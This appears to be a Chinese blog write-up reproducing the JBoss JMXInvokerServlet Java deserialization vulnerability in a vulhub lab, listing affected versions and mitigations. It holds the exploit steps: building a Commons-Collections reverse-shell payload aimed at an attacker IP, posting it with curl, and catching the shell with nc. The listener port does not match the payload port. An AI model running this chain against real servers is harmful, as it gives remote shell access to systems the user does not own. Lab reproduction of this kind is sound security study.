漏洞复现-JMXInvokerServlet-deserialization-jboss反序列化

 
 

0x00 实验环境

攻击机:Win 10

靶场:docker拉的vulhub靶场

 

0x01 影响版本

实验版本为jboss:as-6.1.0

影响版本:

JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0

0x02 漏洞复现

(1)存在漏洞的页面:

http://x.x.x.x:8080/invoker/JMXInvokerServlet

 

 

(2)说是这里存在反序列化,不太懂java代码,等以后学了这个再看看吧。

序列化:
FileOutputStream fos = new FileOutputStream(file); 
ObjectOutputStream oos = new ObjectOutputStream(fos); 
oos.writeObject(st); 

 

反序列化:
FileInputStream fis = new FileInputStream(file);  ObjectInputStream ois = new ObjectInputStream(fis);  Student st1 = (Student) ois.readObject();

 

(3)下载工具(工具一概不提供,本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。禁止任何人转载到其他站点,禁止用于任何非法用途。如有任何人凭此做何非法事情,均于笔者无关,特此声明。):

 

(4)生成一个ser的exp:

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar  ReverseShellCommonsCollectionsHashMap ip:2333   

 

(5)执行攻击:

curl http://xx.xx.xx.xx:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

 

(6)2337端口开启监听后将收到shell:

nc -lvp 2337

 

 

 

0x03 漏洞修复

1、禁止将JBoss的JMXInvokerServlet接口(默认8080)以及JBoss Web Console对外网开放

2、升级JBoss到最新版本

 

0x04 免责声明

本漏洞复现文章仅用于学习、工作与兴趣爱好,并立志为网络安全奉献一份力量,凡是利用本博客相关内容的无良hackers造成的安全事故均与本人无关

posted @ 2021-09-07 14:35  铺哩  阅读(488)  评论(0编辑  收藏  举报